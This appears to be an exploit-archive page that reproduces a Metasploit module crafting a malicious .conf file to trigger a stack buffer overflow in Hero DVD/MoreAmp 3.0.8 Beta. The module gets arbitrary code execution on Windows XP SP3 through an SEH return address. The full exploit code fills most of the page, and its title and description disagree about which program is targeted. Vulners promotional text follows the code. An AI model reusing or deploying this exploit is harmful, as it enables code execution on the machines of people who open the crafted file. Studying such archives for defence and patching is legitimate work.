Lucene search
K

Hero DVD Buffer Overflow Exploit (meta)

🗓️ 19 Jul 2010 00:00:00Reported by MadjiXType 
zdt
 zdt
🔗 0day.today👁 16 Views

This module exploits a stack overflow in 3.0.8 MoreAmp Beta by creating a specially crafted .conf file, enabling an attacker to execute arbitrary code

Code
=======================================
Hero DVD Buffer Overflow Exploit (meta)
=======================================


##################################################################
#                                           _                    #
#               .-----.--.--.--.----.----.-| |___                #
#               |  _  |  |  |  |     |  -__|  _  |               #
#               |   __|________|__|__|_____|_____|               #
#               |__|        By MadjiX                            #
#                          Sec4ever.com                          #
##################################################################
# Note: Use Backtrack! place httpd.conf in /etc/apache2/ and start apache
# Have Someone Connect to your Server /sploit
require 'msf/core'
   
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
   
    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::Remote::Seh
   
    def initialize(info = {})
        super(update_info(info,
            'Name' => 'Hero DVD Remote Buffer Overflow Exploit',
            'Description' => %q{
                This module exploits a stack overflow in 3.0.8 MoreAmp Beta
            By creating a specially crafted .conf file, an an attacker may be able
            to execute arbitrary code.
            },
            'License' => MSF_LICENSE,
            'Author' => 'MadjiX <[email protected][DoT]CoM>',
            'Version' => 'Version 1',
            'References' =>
                [
                    [ 'OSVDB', 'N/A' ],
                    [ 'URL', 'http://www.exploit-db.com/exploits/14257/' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload' =>
                {
                    'Space' => 750,
                    'BadChars' => "\x00\x20\x0a\x0d",
                    'StackAdjustment' => -3500,
                },
            'Platform' => 'win',
            'Targets' =>
                [
                    [ 'Windows XP SP3', { 'Ret' => 0x58324879} ], # 0x58324879 from msg723.acm 
                ],
            'Privileged' => false,
            'DisclosureDate'  => '19-07-2010',
            'DefaultTarget' => 0))
   
        register_options(
            [
                OptString.new('FILENAME', [ false, 'The file name.', 'MadjiX.conf']),
            ], self.class)
    end
   
   
    def exploit
   
        sploit = "Redirect permanent /sploit http://"
        sploit << rand_text_alphanumeric(128)
        sploit << [target.ret].pack('V')
        sploit << "B" * 24
        sploit << payload.encoded
   
        maffile = sploit
        print_status("Creating '#{datastore['FILENAME']}' file ...")
        file_create(maffile)
   
    end
   
end




#  0day.today [2018-04-08]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation